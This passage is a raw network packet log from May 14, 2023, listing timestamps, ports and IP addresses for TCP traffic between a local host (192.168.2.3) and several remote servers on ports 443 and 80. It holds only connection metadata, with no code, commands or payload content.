May 14, 2023 04:34:42.919183016 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.919208050 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.965111971 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.965148926 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.965286016 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.965307951 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.965356112 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.965374947 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.965451002 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.965497971 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.965564013 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.965579987 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.965612888 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.965640068 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.965723991 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.965771914 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.965854883 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.965867043 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.965914965 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.965928078 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966079950 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966095924 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966167927 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966180086 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966213942 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966264009 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966332912 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966371059 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966418982 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966437101 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966481924 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966541052 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966573000 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966614008 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966624022 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966655016 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966691971 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966762066 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966780901 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966861010 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966871023 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.966917038 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.966931105 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967010021 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967044115 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967087984 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967098951 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967123985 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967164993 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967226982 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967257977 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967340946 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967353106 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967386961 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967416048 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967458963 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967488050 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967533112 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967545033 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967566013 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967591047 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967664957 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967695951 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967755079 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967762947 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967792034 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967818022 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967839003 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967863083 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967935085 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967946053 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.967974901 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.967987061 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968054056 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968077898 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968132019 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968142986 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968172073 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968183994 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968214035 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968287945 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968291044 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968327999 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968363047 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968378067 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968381882 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968393087 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968449116 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968450069 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968480110 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968508005 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968523026 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968539000 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968544006 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968588114 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968614101 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968620062 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968630075 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968677998 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968682051 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968709946 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968717098 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968749046 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968760967 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968780041 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968787909 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968797922 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968815088 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968853951 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968887091 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968907118 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968954086 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968961954 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.968976021 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.968997955 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.969006062 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.969018936 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.969100952 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.969134092 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.985675097 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.990506887 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.990540028 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.990606070 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.990626097 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.990638971 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.990669966 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.990711927 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.990721941 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.990742922 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.990776062 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.990809917 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.990876913 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.990890026 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.990906954 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.990956068 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.991115093 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.991139889 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.991193056 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.991203070 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.991216898 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.991241932 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.991421938 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.991445065 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.991533995 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.991549969 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.991566896 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.991631985 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.991857052 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.991883993 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.991986990 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992002010 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992048025 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992141962 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992170095 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992218018 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992230892 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992258072 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992273092 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992388964 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992414951 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992476940 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992489100 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992507935 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992531061 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992681980 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992712975 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992763042 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992774010 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992796898 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992821932 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992888927 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992913961 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992964029 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.992973089 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:42.992989063 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:42.993022919 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.012578964 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.012613058 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.012720108 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.012737036 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.012815952 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.013119936 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.013145924 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.013226032 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.013237000 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.013266087 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.013290882 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.013657093 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.013680935 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.013778925 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.013791084 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.013838053 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.013864994 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.014128923 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.014153957 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.014234066 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.014245033 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.014286041 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.014301062 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.014666080 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.014695883 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.014784098 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.014799118 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.014842987 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.014868975 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.015161991 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.015186071 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.015263081 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.015314102 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.219440937 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.219625950 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.431416035 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.431514978 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:43.859428883 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:43.859576941 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.170485973 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.170528889 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.170620918 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.304301023 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.304352999 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304374933 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304522991 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.304533958 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304546118 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304584026 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.304590940 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304646015 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.304652929 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304661989 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304712057 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.304718018 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304738998 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304837942 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.304852009 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304881096 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.304968119 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.304976940 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.305155993 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.305166960 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.305195093 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.305304050 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.305315971 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.305382967 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.511432886 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.511504889 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:44.947429895 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:44.951081991 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:45.779441118 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:45.779638052 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:47.439438105 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:47.439538956 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.038816929 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.038849115 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.038866997 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039223909 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.039246082 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039268970 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039501905 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.039520979 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039540052 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039554119 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039625883 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.039634943 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039694071 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.039705038 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039724112 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039730072 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.039819002 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.040083885 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.040101051 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.040122986 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.040357113 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.251419067 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.251508951 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:50.675432920 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:50.675540924 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:51.503436089 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:51.504350901 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:53.171430111 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:53.173422098 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:34:56.595458984 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:34:56.595575094 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:01.337713003 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:01.337760925 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:01.337781906 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:01.338927984 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:01.543431044 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:01.543586969 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:01.967428923 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:01.968693972 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:02.803427935 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.803817987 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:02.803817987 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:02.803849936 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.803864956 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.804522991 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:02.804538965 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.804553032 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.804565907 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.805648088 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:02.805648088 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:02.805663109 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.805680037 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.805696964 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.805969000 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:02.805969000 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:02.805983067 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.805994034 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.806020975 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.806031942 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:02.807451010 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:17.992840052 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:20.735042095 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:21.629966021 CEST	49703	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:21.630018950 CEST	443	49703	144.76.136.153	192.168.2.3
May 14, 2023 04:35:23.797899008 CEST	49705	80	192.168.2.3	208.95.112.1
May 14, 2023 04:35:23.827140093 CEST	80	49705	208.95.112.1	192.168.2.3
May 14, 2023 04:35:23.827300072 CEST	49705	80	192.168.2.3	208.95.112.1
May 14, 2023 04:35:23.828614950 CEST	49705	80	192.168.2.3	208.95.112.1
May 14, 2023 04:35:23.866038084 CEST	80	49705	208.95.112.1	192.168.2.3
May 14, 2023 04:35:23.866146088 CEST	49705	80	192.168.2.3	208.95.112.1
May 14, 2023 04:35:23.891566038 CEST	49706	80	192.168.2.3	185.159.130.81
May 14, 2023 04:35:26.932820082 CEST	49706	80	192.168.2.3	185.159.130.81
May 14, 2023 04:35:33.027081013 CEST	49706	80	192.168.2.3	185.159.130.81
May 14, 2023 04:35:37.337915897 CEST	80	49699	208.95.112.1	192.168.2.3
May 14, 2023 04:35:45.061678886 CEST	49707	80	192.168.2.3	185.159.129.168
May 14, 2023 04:35:45.123828888 CEST	80	49707	185.159.129.168	192.168.2.3
May 14, 2023 04:35:45.124059916 CEST	49707	80	192.168.2.3	185.159.129.168
May 14, 2023 04:35:45.124552965 CEST	49707	80	192.168.2.3	185.159.129.168
May 14, 2023 04:35:45.189394951 CEST	80	49707	185.159.129.168	192.168.2.3
May 14, 2023 04:35:45.321013927 CEST	80	49707	185.159.129.168	192.168.2.3
May 14, 2023 04:35:45.321068048 CEST	80	49707	185.159.129.168	192.168.2.3
May 14, 2023 04:35:45.321322918 CEST	49707	80	192.168.2.3	185.159.129.168
May 14, 2023 04:35:46.639254093 CEST	80	49701	185.159.129.168	192.168.2.3
May 14, 2023 04:35:46.639360905 CEST	49701	80	192.168.2.3	185.159.129.168
May 14, 2023 04:35:46.664681911 CEST	49702	80	192.168.2.3	144.76.136.153
May 14, 2023 04:35:46.665513992 CEST	49708	80	192.168.2.3	144.76.136.153
May 14, 2023 04:35:46.694432020 CEST	80	49708	144.76.136.153	192.168.2.3
May 14, 2023 04:35:46.694601059 CEST	49708	80	192.168.2.3	144.76.136.153
May 14, 2023 04:35:46.696959972 CEST	80	49702	144.76.136.153	192.168.2.3
May 14, 2023 04:35:46.697133064 CEST	49702	80	192.168.2.3	144.76.136.153
May 14, 2023 04:35:46.705729008 CEST	49708	80	192.168.2.3	144.76.136.153
May 14, 2023 04:35:46.732999086 CEST	80	49708	144.76.136.153	192.168.2.3
May 14, 2023 04:35:46.733174086 CEST	80	49708	144.76.136.153	192.168.2.3
May 14, 2023 04:35:46.733258963 CEST	49708	80	192.168.2.3	144.76.136.153
May 14, 2023 04:35:46.745863914 CEST	49709	443	192.168.2.3	144.76.136.153
May 14, 2023 04:35:46.745917082 CEST	443	49709	144.76.136.153	192.168.2.3
May 14, 2023 04:35:46.746005058 CEST	49709	443	192.168.2.3	144.76.136.153
